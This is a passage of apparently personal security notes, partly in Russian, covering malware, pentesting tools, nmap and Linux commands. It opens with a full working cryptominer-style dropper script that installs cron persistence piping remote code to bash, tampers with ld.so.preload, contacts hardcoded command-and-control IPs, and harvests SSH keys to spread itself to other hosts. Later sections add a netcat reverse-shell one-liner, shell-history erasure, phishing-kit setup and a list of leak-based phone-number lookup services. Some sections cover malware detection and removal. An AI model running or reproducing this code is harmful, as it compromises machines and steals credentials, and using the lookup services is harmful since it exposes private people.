(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx echo -e "*/30 * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1 DIR="/tmp" cd $DIR if [ -a "/tmp/dbused" ] then if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ] then if [ -x "$(command -v md5sum)" ] then sum=$(md5sum /tmp/dbused | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e) echo "x86_64 OK" ;; *) echo "x86_64 wrong" rm -rf /usr/local/lib/libkk.so echo "" > /etc/ld.so.preload pkill -f wc.conf pkill -f susss sleep 4 ;; esac fi echo "P OK" else DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi else if [ -d "/tmp" ] then DIR="/tmp" fi echo "P NOT EXISTS" fi if [ -d "/tmp/.sh/dbused" ] then DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi get() { chattr -i $2; rm -rf $2 wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 || lwp-download $1 $2 || chmod +x $2 } downloadIfNeed() { if [ -x "$(command -v md5sum)" ] then if [ ! -f $DIR/dbused ]; then echo "File not found!" download fi sum=$(md5sum $DIR/dbused | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e) echo "x86_64 OK" ;; *) echo "x86_64 wrong" sizeBefore=$(du $DIR/x86_64) if [ -s /usr/bin/curl ]; then WGET="curl -k -o "; fi if [ -s /usr/bin/wget ]; then WGET="wget --no-check-certificate -O "; fi download sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }') if [ -s /usr/bin/curl ]; then echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt fi ;; esac else echo "No md5sum" download fi } download() { if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291) echo "x86_64 OK" cp $DIR/x86_643 $DIR/x86_64 cp $DIR/x86_643 $DIR/x86_64 ;; *) echo "x86_64 wrong" download2 ;; esac else echo "No md5sum" download2 fi } download2() { get $url/$(uname -m) "$DIR"/dbused if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/dbused | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e) echo "x86_64 OK" cp $DIR/x86_64 $DIR/x86_643 ;; *) echo "x86_64 wrong" ;; esac else echo "No md5sum" fi } judge() { if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ]; then get $url/$(uname -m) "$DIR"/dbused chmod +x "$DIR"/dbused "$DIR"/dbused -c $dns "$DIR"/dbused -pwn sleep 5 else echo "Running" fi } if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ]; then judge else echo "Running" fi if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ]; then get $url/bashirc.$(uname -m) "$DIR"/bashirc chmod 777 "$DIR"/bashirc "$DIR"/bashirc else echo "Running" fi cronbackup() { pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR" status=0 crona=$(systemctl is-active cron) cronb=$(systemctl is-active crond) cronatd=$(systemctl is-active atd) if [ "$crona" == "active" ] ; then echo "cron okay" elif [ "$cronb" == "active" ]; then echo "cron okay" elif [ "$cronatd" == "active" ] ; then status=1 else status=2 fi if [ $status -eq 1 ] ; then for a in $(at -l|awk '{print $1}'); do at -r $a; done echo "$pay" | at -m now + 1 minute fi if [ $status -eq 2 ] || [ "$me" != "root" ] ;then arr[0]="/dev/shm" arr[1]="/tmp" arr[2]="/var/tmp" arr[3]="/home/$(whoami)" arr[4]="/run/user/$(echo $UID)" arr[5]="/run/user/$(echo $UID)/systemd" rand=$[$RANDOM % ${#arr[@]}] echo "Setting up custom backup" ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 key="while true; do sleep 60 && $pay; done" echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner nohup ${arr[$rand]}/cruner >/dev/null 2>&1 & sleep 15 rm -rf ${arr[$rand]}/cruner fi } cronbackup if crontab -l | grep -q "$url\|209.141.40.190" then echo "Cron exists" else crontab -r echo "Cron not found" echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab - fi KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub) KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }') KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq) HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}') HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}") HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq) USERZ=$( echo "root" find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh" ) userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) for user in $userlist; do for host in $hostlist; do for key in $keylist; do chmod +r $key; chmod 400 $key ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" done done done rm -rf "$DIR"/2start.jpg rm -rf "$DIR"/xmi chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
18.8. NN code scaner
- 2018 https://arxiv.org/pdf/1807.04320.pdf
- PHP NN scan 2020 https://arxiv.org/pdf/2012.08835.pdf
19. keyloggers
tty shell that launches it https://github.com/emptymonkey/shelljack
20. virus
32- and 64-bit versions
- run a few tests and see what kind of capabilities its current user has
- reporting the results to a C&C server.
- can receive new modules
- has a small size
21. virus detection and removing
В качестве активности вредоносного ПО можно выделить:
- прослушивание портов или связь с удалёнными компьютерами (характерно для троянов)
- повышенное потребление ресурсов компьютера (характерно для майнеров, программ для рассылки спама, компьютеров подключённых к ботнету)
Для закрепления в системе программа может:
- копировать свои файлы и скачивать другое вредоносное ПО
- добавлять задачи Cron
- добавлять свои файлы в автозагрузку служб
- модифицировать файлы профиля, автоматически выполняемые при входе пользователя в систему
commands:
- top
- ps -f –forest -C myprocessname
- sudo iotop - информацию об использовании диска процессами:
- sudo pidstat -dl 20 - с интервалами в 20 секунд показывает все процессы, которые выполняли чтение и запись с диска:
- sudo ss -tupn - установленные соединения
- sudo lsof | grep dbused - открытые файлы
- sudo lsof / | grep dbused
- sudo auditctl -w /usr/bin/dbused -p wa - Создадим правило для отслеживания изменений файла /usr/bin/dbused
- sudo systemctl enable auditd.service - Активируем службу:
- sudo ausearch -f /usr/bin/dbused - Перезагрузим компьютер и после появления файла проверим, кто его создал и запустил:
- systemctl list-unit-files | grep active - Просмотр активных служб, запущенных с помощью Systemctl:
- find bin -mtime -1 - Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:
- find / -mtime 50 - найти все файлы, которые были изменены ровно 50 дней назад:
- find / -atime 50 - все файлы, к которым был получен доступ ровно 50 дней назад:
- find / -mtime +50 -mtime -100 - все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:
- find / -cmin -60 - найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:
- find / -mmin -60 - найти файлы, которые были модифицированы за последний час:
- find / -amin -60 - найти все файлы, доступ к которым был сделан за последний час:
- systemctl list-unit-files | grep enabled - служб в автозагрузке
- sudo systemctl edit pwnrige.service
- cat /etc/systemd/system/pwnrige.service
- содержимое задач Cron для всех пользователей:
- for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done
- grep '' –color etc/anacrontab /var/spool/cron/crontabs /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null
22. virus spreading
- Spear phishing
- attacker brute-forcing services with exposed ports
23. code analysiz
24. penetration / infiltrate system
penetration tests focus on unpatched vulnerabilities and misconfigurations
24.1. penetration testing tool
TOTDO:
- BackBox
- Hping
- Metasploit Project - payloads
- Nessus - payloads
- Nmap
- SAINT
- w3af - payloads
- OpenVAS - payloads https://github.com/greenbone/openvas-scanner
- GPL - C
- German web site
reconftw
24.1.1. Zed Attack Proxy (ZAP) OWASP project
- java
- gradle builder
24.1.2. links
24.2. linux .desktop file
- .desktop file
- Exec=27
24.3. webtesting suite
- scraping
- parsing data
- automated pentesting
- unit testing through selenium - framework, automating tests for web applications across diversified platforms as well as browsers
- Credential stuffing
24.4. steganography
Прячем файлы в картинках.
Представляю подборку из семи Windows утилит для стеганографии.
- Anubis — классика, первая и, к сожалению, последняя версия была написана в 2014 году на Java, поэтому она требует установки JRE, а также (в случае с Windows 10) виртуальной машины DOS — NTVDM. Способна скрывать только текстовые файлы.
- DeEgger Embedder — маленькая утилита, в которой реализован уже больший набор функций, но его использование требует установки .NET Framework 3.5. Помимо BMP, программа поддерживает в качестве контейнеров PNG, JPG, видеофайлы AVI и музыкальные MP3.
- DeepSound — последняя версия этой программы вышла в ноябре 2015 года. В отличие от остальных, она прячет данные внутри звуковых файлов. В качестве контейнеров DeepSound может использовать WAV (только несжатый, PCM), а также MP3, CDA, WMA, APE и FLAC. DeepSound умеет внедрять файлы любого типа и автоматически рассчитывает доступное для них место в зависимости от размера контейнера и настроек качества аудио.
- Hallucinate — эта компактная (всего 34 Кбайт) утилита написана на Java и не требует установки. В качестве контейнера она поддерживает форматы BMP и PNG, что делает ее гораздо удобнее Anubis.
- JHide — еще одна компактная утилита, которая, в отличие от Hallucinate, помимо BMP и PNG, поддерживает TIFF, а также позволяет использовать защиту паролем.
- OpenPuff — последняя версия (4.00) поддерживает не только сокрытие одних файлов внутри других, но и работу со стегометками произвольного формата. Ей даже можно выделить несколько процессорных ядер, если предстоит большой объем работы.В отличие от других утилит, поддерживающих парольную защиту скрываемого сообщения,OpenPuff умеет использовать для шифрования криптографически стойкий генератор псевдослучайных чисел.
- OpenStego —последняя версия OpenStego (0.61) вышла в 2014 году Программа работает в Windows и Linux. Она поддерживает BMP, PNG, JPG, GIF и WBMP. Заполненный контейнер всегда сохраняется в форматеPNG
25. TODO exfiltrate data
26. Command and Control Center
- Cobalt Strike
- Brute Ratel Command and Control Center (Brute Ratel C4 или BRc4) - годовая лицензия на Brute Ratel стоит 2500$
27. zombie control
- /usr/bin/mkfifo /tmp/f
- /bin/nc 192.168.1.xx 1234 < /tmp/f | /bin/bash -i > /tmp/f 2>&1 &
28. TODO
SQLi, XSS, Local file inclusion(LFI), and other payloads
reconnaissance -?
enumeration/scanning.
29. Linux investigate, explore
- version
- uname -a
- ls /etc/*release ; cat ???
- hostnamectl
- current shell
- ps -p "$$"
- disks, memory
- vmstat
29.1. all
- id
- uid, gid, groups
- pwd
- Print working directory, i.e., display the name of my current directory on the screen.
- hostname
- Print the name of the local host (the machine on which I am working). Use netconf (as root) to change the name of the machine.
- whoami
- Print my login name.
- id
- Print user id (uid) and his/her group id (gid), effective id (if different than the real id) and the supplementary groups.
- date
- Print the operating system current date, time and timezone. For an ISO standard format, I have to use date -Iseconds. I can change the date and time to 2000-12-31 23:57 using the command date 123123572000 or using these two commands (easier to remember):
- date -set 2000-12-31 To set the hardware (BIOS) clock from the system (Linux) clock, I can use the command (as root) setclock. The international (ISO 8601) standard format for all-numeric date/time has the form: 2001-01-31 (as in Linux default "C" localization). You can be more precise if you wish using, for example: 2001-01-31 23:59:59.999-05:00 (representing I millisecond before February 2001, in a timezone which is 5 hours behind the Universal Coordinated Time (UTC)) . The most "kosher" representation of the same point in time could be: 20010131T235959,999-0500. See the standard at ftp://ftp.qsl.net/pub/g1smd/8601v03.pdf.
- date -set 23:57:00
- time
- Determine the amount of time that it takes for a process to complete + other process accounting. Don't confuse it with the date command (see previous entry). E.g. I can find out how long it takes to display a directory content using: time ls. Or I can test the time function with time sleep 10 (time the commands the does nothing for 10 seconds).
- clock and hwclock
- (two commands, use either). Obtain date/time from the computer hardware (real time, battery-powered) clock. You can also use one of this commands to set the hardware clock, but setclock may be simplier (see command above). Example: hwclock -systohc -utc sets the hardware clock (in UTC) from the system clock.
- who
- Determine the users logged on the machine.
- w
- Determine who is logged on the system, find out what they are doing, their processor ussage,
etc. Handy security command.
- rwho -a (=remote who) Determine users logged on other computers on your network. The rwho service must be enabled for this command to run. If it isn't, run setup (RedHat specific) as root to enable "rwho".
- last
- Show listing of users last logged-in on your system. Really good idea to check it from time to time as a security measure on your system.
- lastb
- ("=last bad") Show the last bad (unsuccessful) login attempts on my system. It did not work on my system, so got it started with: touch /var/log/btmp
- "There's a good reason why /var/log/btmp isn't available on any sane set-up - it's a world-readable file containing login mistakes. Since one of the most common login mistakes is to type the password instead of the username, /var/log/btmp is a gift to crackers." (Thanks to Bruce Richardson). It appears the problem can be solved by changing the file permissions so only root can use "lastb":
- chmod o-r /var/log/btmp
- history | more
- Show the last (1000 or so) commands executed from the command line on the current account. The "| more" causes the display to stop after each screen-full. To see what another user was doing on your system, login as "root" and inspect his/her "history". The history is kept in the file .bashhistory in the user home directory (so yes, it can be modified or erased).
- uptime
- Show the amount of time since the last reboot.
- ps
- (="print status" or "process status") List the processes currently run by the current user.
- ps axu | more
- List all the processes currently running, even those without the controlling terminal, together with the name of the user that owns each process.
- top
Keep listing the currently running processes on my computer, sorted by cpu usage (top processes first). Press <Ctrl>c when done.
PID = process identification. USER = name of the user who owns (started?) the process. PRI = priority of the process (the higher the number, the lower the priority, normal 0, highest priority is -20, lowest 20. NI = niceness level (i.e., if the process tries to be nice by adjusting the priority by the number given). The higher the number, the higher the niceness of the process (i.e., its priority is lower). SIZE = kilobytes of code+data+stack taken by the process in memory. RSS = kilobytes of physical (silicon) memory taken. SHARE = kilobytes of memory shared with other processes. STAT = state of the process: S-sleeping, R-running, T-stopped or traced, D-uniterruptable sleep, Z=zombie. %CPU = share of the CPU usage (since last screen update). %MEM = share of physical memory. TIME = total CPU time used by the process (since it was started). COMMAND = command line used to start the task (careful with passwords, etc., on command line, all permitted to run "top" may see them!
- gtop, ktop and htop
- (in X terminal) Three GUI choices for top. My favourite is gtop (comes with gnome). In KDE, ktop is also available from the "K"menu under "System"-"Task Manager".
- uname -a
- (= "Unix name" with option "all") Info on your (local) server. I can also use guname (in X-window terminal) to display the info more nicely.
- Xorg -version
- Show me the version of X windows I have on my system.
- cat /etc/issue
- Check what distribution you are using. You can put your own message in this text file - it's displayed on login. It is more common to put your site-specific login message to the file /etc/motd ("motd"="message of the day").
- free
- Memory info (in kilobytes). "Shared" memory is the memory that can be shared between processes (e.g., executable code is "shared"). "Buffered" and "cashed" memory is the part that keeps parts of recently accessed files - it can be shrunk if more memory is needed by processes.
- df -h
- (=disk free) Print disk info about all the filesystems (in human-readable form).
- du / -bh | more
- (=disk usage) Print detailed disk usage for each subdirectory starting at the "/" (root) directory (in human legible form).
- cat /proc/cpuinfo
- Cpu info - shows the content of the file cpuinfo. Note that the files in the /proc directory are not real files - they are hooks to look at information available to the kernel.
- cat /proc/interrupts
- List the interrupts in use. May need to find out before setting up new hardware.
- cat /proc/version
- Linux version and other info.
- cat /proc/filesystems
- Show the types of filesystems currently in use.
- cat /etc/printcap |more
- Show the setup of printers.
- lsmod
- (= "list modules". As root. Use /sbin/lsmod to execute this command when you are a non-root user.) Show the kernel modules currently loaded.
- set|more
- Show the current user environment (in full). Normally too much to bother.
- echo $PATH
- Show the content of the environment variable PATH. This command can be used to show other environment variables as well. Use set to see the full environment (see the previous command).
- dmesg | less
- Print kernel messages (the content of the so-called kernel ring buffer). Press "q" to quit "less". Use less /var/log/dmesg to see what "dmesg" dumped into this file right after the last system bootup.
- chage -l myloginname
- See my password expiry information.
- quota
- See my disk quota (the limits of disk usage).
- sysctl -a |more
- Display all the configurable Linux kernel parameters.
- runlevel
- Print the previous and current runlevel. The output "N5" means: "no previous runlevel" and "5 is the current runlevel". To change the runlevel, use "init", e.g., init 1 switches the system to a single user mode.
- Runlevel is the mode of operation of Linux. Runlevel can be switched "on the fly" using the command init. For example, init 3 (as root) will switch me to runlevel 3. The following runlevels are standard: 0 - halt (Do NOT set initdefault to this) 1 - Single user mode 2 - Multiuser, without NFS (The same as 3, if you do not have networking) 3 - Full multiuser mode 4 - unused 5 - X11 6 - reboot (Do NOT set initdefault to this)
The system default runlevel is set in the file: /etc/inittab.
30. Linux hide
30.1. TODO hide process
30.2. bash history
- history -r clear the Bash history of the current session only
- $ unset HISTFILE Don’t save commands in Bash history for current session
- history -dw 352 Remove a certain line from Bash history
- echo "discreet";history -d $(history 1) - execute command without saving to history
31. port scaning
http socks
echo " 1. 3128 2. 8080 3. 80 4. 1080 5. 8888 6. 8000 7. 8081 8. 3129 9. 1081 10. 8082 11. 443 12. 9000 13. 3127 14. 3000 15. 4444 " | grep -o "[0-9]*$" | xargs | tr ' ' ','
nmap -oN a.txt -sV –open –min-parallelism 5 -n -v -T4 -p 80,443 122.10.0-255.1-254
- -n do not discover
- -sn disable port scan
- -T4 speed
- -p ports
- -sV Probe open ports to determine service/version info
- -oN a.txt output to file
32. scanning network
- Banner grabbing
- nc www.targethost.com 80
- Web crawler
- spider or spider bot - idexing
tools:
- netcat - send ASCII over TCP/IP (net-analyzer/netcat)
- zmap
33. web vulnerabilities scaners
- web server vulnerables and penetration tester https://portswigger.net/kb/issues
- https://packages.gentoo.org/packages/net-analyzer/nikto
- https://github.com/BitTheByte/Monitorizer
34. info gathering
https://resources.infosecinstitute.com/topic/kali-linux-top-5-tools-for-information-gathering/
- DNS records (what domains do they have? What subdomains exist?)
- Kali Linux DNS - spoof a website by redirecting a link to your destination such as a web server
- IDS/IPS events (intrusion detection systems and intrusion prevention systems)
- Network scanning (scanning for ports, MAC addresses and banner grabbing of a target’s systems)
- Operating systems (can detect operating systems and serve exploits if it is vulnerable)
- Routing (network configurations that can be found)
- Ports (sometimes these are opened and can provide information about the server’s software or services it provides)
- Users (find out who is logged in on a target system or what their account privileges are)
- Systems information. Items such as SMB open network shares and running processes for user accounts with non-privileged access
- SSL (are the systems or websites protected with secure sockets layer certificates)
- VPN (are there VPNs running on the network and are they authorized?)
- Voice over IP (Modern telephony uses this protocol to make voice calls. Are these protocols on their own VLAN? Can these packets be intercepted?
- SNMP (are there any devices with SNMP running on them? Are they accessible?
- Email addresses (can email addresses be intercepted for further cybercrimes such as phishing or ransomware payloads?)
Network scanning
- port scanners
- service fingerprinting
- ARP spoofing (manipulating how data gets delivered from one computer to another)
34.1. by phone number, по номеру телефона
- @avinfo — аккаунты, недвижимость, авто, объявления
- getcontact.com — как записан номер в контактах
- m.ok.ru — часть номера, email, город, дата регистрации
- list-org.com — поиск организаций по номеру
- SaveRuData — адрес, имя, траты, работает через VPN
- x-ray.contact — имя, аккаунты, адреса, почта (VPN)
- @Zernerda — утечки, адреса, аккаунты (1 поиск бесплатно)
- @OsintKit — данные из утечек: имена, почты, адреса
- @Архангел — утечки: аккаунты, почты, адреса, ФИО
- @getairplanebot — авиаперелеты, информация о попутчиках
- sync.me — имя и уровень спама
- leak-lookup.com — утечки данных номера
- NumBuster — как записан номер в контактах (Android)
- revealname.com — имя и оператор
- Truecaller.com — имя в контактах
- @undsearchprobot - поиск по утечкам
34.2. camera
35. Phishing
- https://github.com/htr-tech/zphisher
- cd zphisher
- bash zphisher.sh
- https://github.com/htr-tech/nexphisher
- git clone
- cd nexphisher
- bash setup
- bash tmuxsetup
- bash nexphisher
36. Exploit
36.1. tools
- Metasploit Framework, License: BSD, Language: Ruby
- Exploit-DB License: GPL, Language: Python
- OpenVAS License: GPL, Language: C, Python
- ZAP (Zed Attack Proxy) License: Apache 2.0, Language: Java
- sqlmap License: GPL, Language: Python
- Burp Suite: License: Free, with commercial options, Language: Java
Ettercap - man in the middle attack License: GPL Language: C
36.2. payload cheching
36.2.1. nc
No, Ubuntu does not come with nc (Netcat) installed by default.
sudo apt-get install netcat
Server (Device 1):
nc -lv 1234 nc -lv 127.0.0.1 1234
- Listening on [0.0.0.0] (family 0, port 1234)
- Connection from [10.0.2.5] port 1234 [tcp/*] accepted!
- Hello from client!
Client (Device 2):
nc -v 10.0.2.4 1234
- Hello from client!
36.2.2. python
Generally included by default in desktop versions of Ubuntu.
Client:
python -c "import socket; s=socket.socket(); s.connect(('127.0.0.1', 1234)); s.send(b'Hello'); s.close()"
36.2.3. Curl
Not included by default in all Ubuntu versions, but easily installable from the repositories.
37. nmap
37.1. installation from sources
to check signature: https://nmap.org/dist/sigs/nmap-7.95.tar.bz2.digest.txt
remote:
if ! command -v hydra >/dev/null; then apt install autoconf apt install libssh-dev # for SSH mkdir --parents /usr/local/src cd /usr/local/src wget https://nmap.org/dist/nmap-7.95.tar.bz2 # - check signature sha512sum nmap-7.95.tar.bz2 # - extract tar xpf nmap-7.95.tar.bz2 # git clone --depth=1 https://github.com/nmap/nmap cd nmap-7.95 export CFLAGS="-U_FORTIFY_SOURCE -O3 -fvisibility=hidden -D_FORTIFY_SOURCE=3 -fstack-protector-strong -fstack-clash-protection -fcf-protection" # -fpie -fpic -shared" export CXXFLAGS="-O3 -D_FORTIFY_SOURCE=3 -fstack-protector-strong -fstack-clash-protection -fcf-protection -fpie -fpic -shared" ./configure --without-zenmap make make install fi
37.2. theory
37.2.1. ports
- 0 through 1023: Well Known Ports
- 1024 through 49151: Registered Ports
- 49152 through 65535: Dynamic or Private Ports
37.2.2. addressing
- CIDR-style addressing (notation):
- 192.168.10.0/24 - 256 hosts
- CIDR and octet ranges aren't supported for IPv6 because they are rarely useful
- IPv6 addresses can only be specified by their fully qualified IPv6 address or hostname
- -iL filename, or -il - is a standart input
- -iR numtries - get random IPs from global Internet (0 infinity)
- –exclude t1,t2,t3 –excludefile filename
Ex. nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7
Dry run:
- -sL - list traget to scan
- -n - don't do DNS resolution
37.2.3. port states
The six port states recognized by Nmap
- open
- An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports are also interesting for non-security scans because they show services available for use on the network.
- closed
- A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next.
- filtered
- Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.
- unfiltered
- The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.
- open|filtered
- Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.
- closed|filtered
- This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.
37.3. default scan
Nmap performs a TCP SYN scan against the top 1,000 ports, as specified in the nmap-services file.
37.4. host discovery
By default enabled: host discovery, arp ping, reverse dns resolution
- -sn - ICMP echo (not broadcast), TCP SYNC 443, PCP ACK to port 80
- nmap -sn 192.168.0.1/24
37.5. SCAN TECHNIQUES
-sA, -b, -sT, -sF, -sI, -sM, -sN, -sS, -sW, and -sX
37.6. nping Network packet generation tool
nping -c 1 –tcp -p 80,433 scanme.nmap.org google.com
37.7. TODO ncat - reading, writing, redirecting, and encrypting data across a network
37.8. timing
template
- -T paranoid|sneaky|polite|normal|aggressive|insane - timing template
- -T n - where n is paranoid (0), sneaky (1), polite (2), normal (3), aggressive (4), and insane (5)
fine-grained - only affect port scans and host discovery scans. Other features like OS detection implement their own timing.
- –min-rate number
- –min-rate 300 means that Nmap will try to keep the sending rate at or above 300 packets per second.
- –max-rate number
- –max-rate 0.1 for a slowcan of one packet every ten seconds
set an upper limit on total scan time –max-retries
Specify –host-timeout with the maximum amount of time you are willing to wait. For example, specify 30m to ensure that Nmap doesn't waste more than half an hour on a single host.
37.9. scrinpting
Nmap Scripting Engine (NSE) https://www.lua.org/manual/5.3/
usr/share/nmap/scripts
invocation:
nmap -sC --script-args 'user=foo,pass=",{}=bar",paths={/admin,/cgi-bin},xmpp-info.server_name=localhost'
37.9.1. arguments
nmap -sC –script-args 'user=foo,pass=",{}=bar",paths={/admin,/cgi-bin},xmpp-info.servername=localhost'
nmap.registry.args = { user = "foo", pass = ",{}=bar", paths = { "/admin", "/cgi-bin" }, xmpp-info.server_name="localhost" } -- better local server_name = stdnse.get_script_args("xmpp-info.server_name")
37.9.2. cmd line
-sC to enable the most common scripts. equivalent to –script=default
–script option to choose your own scripts
- –script=<Lua scripts>: <Lua scripts> is a comma separated list of directories, script-files or script-categories
–script-args and –script-args-file
- –script-args=<n1=v1,[n2=v2,…]>: provide arguments to scripts
- –script-args-file=filename: provide NSE script args in a file
- –script-args 'user=foo,pass=",{}=bar",paths={/admin,/cgi-bin},xmpp-info.servername=localhost'
–script-help shows a description of what each selected script does
- –script-help=<Lua scripts>: Show help about scripts. <Lua scripts> is a comma-separated list of script-files or script-categories.
–script-trace and –script-updatedb, are generally only used for script debugging and development.
- –script-trace: Show all data sent and received
- –script-updatedb: Update the script database.
Script scanning is also included as part of the -A (aggressive scan) option. With the -sn option it is possible to run a script scan without a port scan
- -Pn -sn options together with -sC or –script - script scan with neither a host discovery nor a port scan
37.9.3. Script Categories
Not case sensitive.
get all categoris:
cat /usr/share/nmap/scripts/* | grep -o "categories =.*" | grep -o "{.*" | grep -o "\".*\"" | tr ',' ' ' | xargs -n 1 | sort | uniq
get script per category:
cat /usr/share/nmap/scripts/script.db | grep "\"vuln\"" | grep -o "filename.*"
- auth
- broadcast
- brute
- default - used with -sC or -A. Factors to run:
- Speed: excludes brute force authentication crackers, web spiders, and any other scripts which can take minutes or hours to scan
- Usefulness: need to produce valuable and actionable information
- discovery - try to actively discover more about the network by querying public registries,
- dos - may cause a denial of service
- exploit - actively exploit some vulnerability
- external, fuzzer, intrusive, malware, safe, version, and vuln
37.9.4. Script Types and Phases
- Prerule scripts - run before any of Nmap's scan phases - Nmap has not collected any information about its targets yet
- Prerule scripts can be identified by containing a prerule function
- Host scripts - after Nmap has performed host discovery, port scanning, version detection, and OS detection against the target host.
